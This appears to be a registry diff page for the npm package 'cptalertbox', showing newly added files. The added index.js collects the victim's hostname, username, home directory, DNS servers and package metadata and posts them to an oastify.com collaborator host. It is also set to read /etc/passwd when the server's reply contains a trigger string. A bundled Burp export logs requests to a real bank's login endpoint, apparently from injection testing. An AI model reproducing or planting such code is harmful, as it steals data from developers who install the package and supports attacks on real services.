cptalertbox 61.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of cptalertbox might be problematic. Click here for more details.
- package/index.js +66 -0
- package/package.json +12 -0
- package/sqli1 +42 -0
package/index.js
ADDED
@@ -0,0 +1,66 @@
|
|
1
|
+
const fs = require("fs");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const trackingData = JSON.stringify({
|
9
|
+
p: package,
|
10
|
+
c: __dirname,
|
11
|
+
hd: os.homedir(),
|
12
|
+
hn: os.hostname(),
|
13
|
+
un: os.userInfo().username,
|
14
|
+
dns: dns.getServers(),
|
15
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
+
v: packageJSON.version,
|
17
|
+
pjson: packageJSON,
|
18
|
+
});
|
19
|
+
|
20
|
+
var postData = querystring.stringify({
|
21
|
+
msg: trackingData,
|
22
|
+
});
|
23
|
+
|
24
|
+
var options = {
|
25
|
+
hostname: "g9q8uyl5pvn311sm01gzd39modu4it.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
|
26
|
+
port: 443,
|
27
|
+
path: "/",
|
28
|
+
method: "POST",
|
29
|
+
headers: {
|
30
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
31
|
+
"Content-Length": postData.length,
|
32
|
+
},
|
33
|
+
};
|
34
|
+
|
35
|
+
var req = https.request(options, (res) => {
|
36
|
+
res.on("data", (d) => {
|
37
|
+
process.stdout.write(d);
|
38
|
+
});
|
39
|
+
});
|
40
|
+
|
41
|
+
req.on("error", (e) => {
|
42
|
+
// console.error(e);
|
43
|
+
});
|
44
|
+
|
45
|
+
req.on("response", (response) => {
|
46
|
+
var responseData = "";
|
47
|
+
response.on("data", (chunk) => {
|
48
|
+
responseData += chunk;
|
49
|
+
});
|
50
|
+
|
51
|
+
response.on("end", () => {
|
52
|
+
// Check if the response contains a specific message
|
53
|
+
if (responseData.includes("READ_ETC_PASSWD_FILE")) {
|
54
|
+
fs.readFile("/etc/passwd", "utf8", (err, data) => {
|
55
|
+
if (err) {
|
56
|
+
console.error(err);
|
57
|
+
return;
|
58
|
+
}
|
59
|
+
console.log(data);
|
60
|
+
});
|
61
|
+
}
|
62
|
+
});
|
63
|
+
});
|
64
|
+
|
65
|
+
req.write(postData);
|
66
|
+
req.end();
|
package/package.json
ADDED
package/sqli1
ADDED
@@ -0,0 +1,42 @@
|
|
1
|
+
<?xml version="1.0"?>
|
2
|
+
<!DOCTYPE items [
|
3
|
+
<!ELEMENT items (item*)>
|
4
|
+
<!ATTLIST items burpVersion CDATA "">
|
5
|
+
<!ATTLIST items exportTime CDATA "">
|
6
|
+
<!ELEMENT item (time, url, host, port, protocol, method, path, extension, request, status, responselength, mimetype, response, comment)>
|
7
|
+
<!ELEMENT time (#PCDATA)>
|
8
|
+
<!ELEMENT url (#PCDATA)>
|
9
|
+
<!ELEMENT host (#PCDATA)>
|
10
|
+
<!ATTLIST host ip CDATA "">
|
11
|
+
<!ELEMENT port (#PCDATA)>
|
12
|
+
<!ELEMENT protocol (#PCDATA)>
|
13
|
+
<!ELEMENT method (#PCDATA)>
|
14
|
+
<!ELEMENT path (#PCDATA)>
|
15
|
+
<!ELEMENT extension (#PCDATA)>
|
16
|
+
<!ELEMENT request (#PCDATA)>
|
17
|
+
<!ATTLIST request base64 (true|false) "false">
|
18
|
+
<!ELEMENT status (#PCDATA)>
|
19
|
+
<!ELEMENT responselength (#PCDATA)>
|
20
|
+
<!ELEMENT mimetype (#PCDATA)>
|
21
|
+
<!ELEMENT response (#PCDATA)>
|
22
|
+
<!ATTLIST response base64 (true|false) "false">
|
23
|
+
<!ELEMENT comment (#PCDATA)>
|
24
|
+
]>
|
25
|
+
<items burpVersion="2022.8.4" exportTime="Mon May 29 11:54:28 IST 2023">
|
26
|
+
<item>
|
27
|
+
<time>Thu Jan 01 05:30:00 IST 1970</time>
|
28
|
+
<url><![CDATA[https://broker.ubank.com.au/index.php/?rest_route=/auth/login]]></url>
|
29
|
+
<host ip="141.193.213.20">broker.ubank.com.au</host>
|
30
|
+
<port>443</port>
|
31
|
+
<protocol>https</protocol>
|
32
|
+
<method><![CDATA[POST]]></method>
|
33
|
+
<path><![CDATA[/index.php/?rest_route=/auth/login]]></path>
|
34
|
+
<extension>php/</extension>
|
35
|
+
<request base64="true"><![CDATA[UE9TVCAvaW5kZXgucGhwLz9yZXN0X3JvdXRlPS9hdXRoL2xvZ2luIEhUVFAvMg0KSG9zdDogYnJva2VyLnViYW5rLmNvbS5hdQ0KQ29va2llOiBfZ2E9R0ExLjMuMjAwMjc4ODMyLjE2ODUzMTI5NjM7IF9naWQ9R0ExLjMuNTkzMjUxNjI0LjE2ODUzMTI5NjM7IF9nYXRfVUEtMTI3NDY3NjAzLTk9MQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6MTA5LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMTEzLjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksaW1hZ2UvYXZpZixpbWFnZS93ZWJwLCovKjtxPTAuOA0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNQ0KQWNjZXB0LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA0KQ29udGVudC1MZW5ndGg6IDUwDQpPcmlnaW46IGh0dHBzOi8vYnJva2VyLnViYW5rLmNvbS5hdQ0KUmVmZXJlcjogaHR0cHM6Ly9icm9rZXIudWJhbmsuY29tLmF1L2xvZy1pbi8NClVwZ3JhZGUtSW5zZWN1cmUtUmVxdWVzdHM6IDENClNlYy1GZXRjaC1EZXN0OiBkb2N1bWVudA0KU2VjLUZldGNoLU1vZGU6IG5hdmlnYXRlDQpTZWMtRmV0Y2gtU2l0ZTogc2FtZS1vcmlnaW4NClNlYy1GZXRjaC1Vc2VyOiA/MQ0KVGU6IHRyYWlsZXJzDQoNCmFwcF9wYXJhbV9nb190bz0lMkZob21lLXBhZ2UtYXV0aCZsb2Fud29ya3NfaWQ9MDAw]]></request>
|
36
|
+
<status>403</status>
|
37
|
+
<responselength>4812</responselength>
|
38
|
+
<mimetype>HTML</mimetype>
|
39
|
+
<response base64="true"><![CDATA[SFRUUC8yIDQwMyBGb3JiaWRkZW4NCkRhdGU6IE1vbiwgMjkgTWF5IDIwMjMgMDY6MjQ6MTYgR01UDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOA0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT0xNQ0KRXhwaXJlczogTW9uLCAyOSBNYXkgMjAyMyAwNjoyNDozMSBHTVQNClgtRnJhbWUtT3B0aW9uczogU0FNRU9SSUdJTg0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpTZXJ2ZXI6IGNsb3VkZmxhcmUNCkNmLVJheTogN2NlY2E3NDVmYzkyZjQ4OC1CT00NCkFsdC1TdmM6IGgzPSI6NDQzIjsgbWE9ODY0MDANCg0KPCFET0NUWVBFIGh0bWw+CjwhLS1baWYgbHQgSUUgN10+IDxodG1sIGNsYXNzPSJuby1qcyBpZTYgb2xkaWUiIGxhbmc9ImVuLVVTIj4gPCFbZW5kaWZdLS0+CjwhLS1baWYgSUUgN10+ICAgIDxodG1sIGNsYXNzPSJuby1qcyBpZTcgb2xkaWUiIGxhbmc9ImVuLVVTIj4gPCFbZW5kaWZdLS0+CjwhLS1baWYgSUUgOF0+ICAgIDxodG1sIGNsYXNzPSJuby1qcyBpZTggb2xkaWUiIGxhbmc9ImVuLVVTIj4gPCFbZW5kaWZdLS0+CjwhLS1baWYgZ3QgSUUgOF0+PCEtLT4gPGh0bWwgY2xhc3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